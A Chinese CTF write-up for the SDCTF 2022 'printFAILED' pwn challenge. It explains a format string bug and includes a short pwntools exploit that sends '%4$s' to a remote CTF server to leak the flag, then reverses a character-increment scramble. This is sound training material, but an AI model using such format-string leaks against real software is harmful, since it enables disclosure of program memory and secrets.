[SDCTF 2022]printFAILED 复现

printFAILED

这是一道格式化字符串漏洞,出的比较特别,特别搜了下,跟大家分析一下

查看一下保护机制,发现按正常套路求不出偏移

再看看ida,发现里面有flag.txt,但是被scramble函数打乱了,需要我们guess,在printf那一行也出现了flag,我们可以尝试把flag的内容打印出来

nc一下,发现flag存在第四个参数(格式化字符串传参的规定,格式化字符串存放在rdi,因此printf函数会从rsi开始寻找参数),得到的这串代码是不是有点像flag了,有点那味了,接下来就可以看看scramble函数是怎么打乱flag

scramble函数

     这段代码定义了一个名为 scramble 的函数,它接受一个整型参数 a1。该函数的作用是对全局变量 flag 中的前 a1 个字符进行递增。

     在函数内部,首先定义了一个名为 i 的循环计数器变量。然后使用一个无限循环来遍历 flag 变量中的前 a1 个字符。在每次循环中,函数都会将 flag[i] 变量的值递增 1。

     当循环计数器 i 的值大于等于 a1 时,循环结束,函数返回 i 的值。

这里我知识有限,看不出这是什么加密的,别人用按位运算sub来解码,直接可以得到flag

exp如下:

from pwn import *

#p = process('./printFailed')
p = remote('node5.anna.nssctf.cn',28789)

p.recvline()
p.sendline("%4$s")
p.recvline()
x = p.recvline()
y = ''
for i in x:
        y+=chr(i-1)
print(y)

总结:

做这道格式化字符串漏洞的题,也算是给我开阔了自己的视野,还是要好好加强自己的能力,冲冲冲,干就完事了!!!

Video Tutorialhttps://www.youtube.com/watch?v=gSLdg4mipYs(此题讲解的视频)

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-09 02:16:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-09 02:16:01       100 阅读
  3. 在Django里面运行非项目文件

    2023-12-09 02:16:01       82 阅读
  4. Python语言-面向对象

    2023-12-09 02:16:01       91 阅读

热门阅读

  1. SkyPile-150B 数据下载地址

    2023-12-09 02:16:01       53 阅读
  2. Spring中拦截WebSecurityConfigurerAdapter和Aop拦截区分

    2023-12-09 02:16:01       60 阅读
  3. 计算三位数每位上数字的和

    2023-12-09 02:16:01       57 阅读
  4. 理想中的PC端剪切板工具,应该有哪些功能?

    2023-12-09 02:16:01       66 阅读
  5. QT 中 线程池 (备查)

    2023-12-09 02:16:01       67 阅读
  6. Copilot使用指南:提升编程效率的智能助手

    2023-12-09 02:16:01       89 阅读
  7. NTP时钟同步服务器(校时服务器)技术参数分享

    2023-12-09 02:16:01       52 阅读
  8. v-model和:model的区别

    2023-12-09 02:16:01       54 阅读